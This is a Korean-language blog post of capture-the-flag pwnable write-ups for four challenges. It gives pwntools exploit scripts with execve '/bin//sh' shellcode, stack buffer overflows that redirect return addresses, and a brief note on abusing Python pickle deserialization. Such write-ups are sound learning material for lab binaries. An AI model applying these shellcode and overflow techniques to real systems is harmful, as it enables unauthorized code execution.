문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro |
NX Oopsie
처음에 문제 실행도 안되었었는데..
RET 주소를 leak해준다.
쉘코드 넣고 RET를 쉘코드 넣은 주소로 돌려주면 된다!
from pwn import *
p = process('./nx-oopsie')
#p = remote('localhost', 6666)
e = ELF('./nx-oopsie')
p.recvuntil(': ')
leak = int(p.recv(14), 16)
log.info('leak = '+hex(leak))
payload = ''
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#payload += "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload += '\x90' * (0x48 - len(payload))
payload += p64(leak-0x40)
#pause()
p.sendlineafter('? ', payload)
p.interactive()
사실 로되리안 걸려서 flag는 못 땄다.. ㅠ
(+) 익스 확률을 높이려면 NOP을 shellcode 앞에 줘야 한다.
Pancake
조건 맞추면 flag 준다
from pwn import *
#p = process('./pancake')
p = remote('localhost', 4443)
#e = ELF('./pancake')
payload = ''
payload += 'A' * (0x50 - 0xC)
payload += p64(138438280)
print p64(0x3838785c)
print payload
#pause()
p.send(payload)
#p.recvuntil('got ')
#aa = int(p.recv(10),16)
#print hex(aa)
p.interactive()
Handshake
flag 출력해주는 함수가 존재해서 RET를 거기로 주면 된다.
from pwn import *
p = process('./handshake')
#p = remote('localhost', 4446)
e = ELF('./handshake')
win = 0x080491C2
payload = ''
payload += 'A' * (0x28 + 0x4)
payload += p32(win)
p.sendline(payload)
p.interactive()
TicTacToe
python에서 pickle 취약점
dumps할 때는 base64 인코딩, loads할 때는 base64 디코딩 해주고 있다.
메뉴 4번에 picke.dumps한 data를 base64디코딩해서 값을 넣어주면 된다.
'CTF > Write UPs' 카테고리의 다른 글
[2021 HSPACE CTF : Pwnable] ALL Clear! writeups (04.26 23:59 이후 공개) (0) | 2021.04.27 |
---|---|
[TAMUctf 2021 : Pwnable] Shellcode_Golf, Shellcode_Golf_2 풀이 (64bit, shellcode 제작, mmap, mprotect) (수정) (0) | 2021.04.26 |
[UMDCTF 2021 : Pwnable] 내가 푼 문제들 풀이 (0) | 2021.04.17 |
[angstromCTF 2021 : binary] 내가 푼 문제들 풀이 (0) | 2021.04.08 |
[Securinets CTF 2021 : pwn] kill shot 풀이 (seccomp, Full RELRO)(수정) (0) | 2021.04.03 |